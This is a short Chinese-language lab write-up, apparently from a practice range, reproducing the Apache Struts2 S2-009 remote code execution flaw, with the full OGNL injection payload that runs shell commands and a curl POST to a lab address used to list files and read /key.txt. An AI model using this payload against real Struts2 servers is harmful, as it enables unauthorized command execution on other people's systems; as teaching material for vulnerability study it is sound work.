Apache Struts2远程代码执行漏洞(S2-009)复现
难易程度:★★
题目类型:命令执行
使用工具:burpsuite、kali
漏洞原理:允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
1.打开靶场,了解S2-009漏洞原理
2.构造poc,执行命令ls,查看文件。
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
访问/ajax/example5.action+poc,返回空页面。F12查看源码,没发现什么。
将poc用burpsuite完全转为url编码,访问也是失败。
使用burpsuite截包,改为POST提交,也不行。
3.只能使用kali试一下,执行命令curl
curl -X POST “http://219.153.49.228:40439/ajax/example5.action” -d “age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]” --output 1.txt
找到key.txt
4.把poc命令改为cat /key.txt,获取key